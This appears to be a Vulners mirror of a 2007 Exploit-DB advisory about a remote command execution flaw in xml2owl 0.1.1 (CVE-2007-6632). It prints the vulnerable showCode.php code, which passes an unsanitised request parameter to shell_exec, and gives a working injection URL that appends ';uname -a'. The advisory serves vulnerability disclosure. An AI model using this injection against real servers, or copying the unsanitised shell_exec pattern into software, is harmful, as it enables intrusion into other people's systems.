Lucene search
+L

xml2owl 0.1.1 - 'showcode.php' Remote Command Execution

🗓️ 28 Dec 2007 00:00:00Reported by MhZ91Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 36 Views

xml2owl 0.1.1 Remote Command Execution in showCode.ph

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2007-6632
4 Jan 200800:00
cve
cvelist
Cvelist
CVE-2007-6632
4 Jan 200800:00
cvelist
euvd
EUVD
EUVD-2007-6597
7 Oct 202500:30
euvd
nvd
NVD
CVE-2007-6632
4 Jan 200800:46
nvd
prion
Prion
Design/Logic Flaw
4 Jan 200800:46
prion
---------------------------------------------------------------
 ____            __________         __             ____  __
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |
 |___|___|  /\__|  /______  /\___  >__|            |___||__|
          \/\______|      \/     \/
---------------------------------------------------------------

Http://www.inj3ct-it.org        Staff[at]inj3ct-it[dot]org

---------------------------------------------------------------

          Remote Command Execution

---------------------------------------------------------------

# Author: MhZ91
# Title: xml2owl-0.1.1 - Remote Command Execution
# Download: http://surfnet.dl.sourceforge.net/sourceforge/xml2owl/xml2owl-0.1.1.tar.bz2
# Bug: Remote Command Execution
# Info: Up to now, most ontologies are created manually, which is very time-expensive. The goal is it, to produce ontologies automatically via XSLT, which fit as good as possible to a given XML-file resp. XML-Schema-file
# Visit: http://www.inj3ct-it.org

---------------------------------------------------------------

In the file showCode.php there is this...

<?
	$xml2html = "xsl/xmlverbatim.xsl";
	$path = $_REQUEST['path']; <-

  if(class_exists('XSLTProcessor')) {
    $xsl = new XSLTProcessor();

    $res = DOMDocument::load($path);

    $xsl->importStylesheet(DOMDocument::load($xml2html));
    echo $xsl->transformToXML($res);
  }
  else {
    $exec_string = "xsltproc " . $xml2html . " " . $path; <-
    echo shell_exec($exec_string); <-
  }
?>

We can modify the $path variable.. and give a remote command execution by the function shell_exec..

Type http://www.site.com/showCode.php?path=;uname -a

...

---------------------------------------------------------------

# milw0rm.com [2007-12-28]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Nov 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.8
EPSS0.02469
36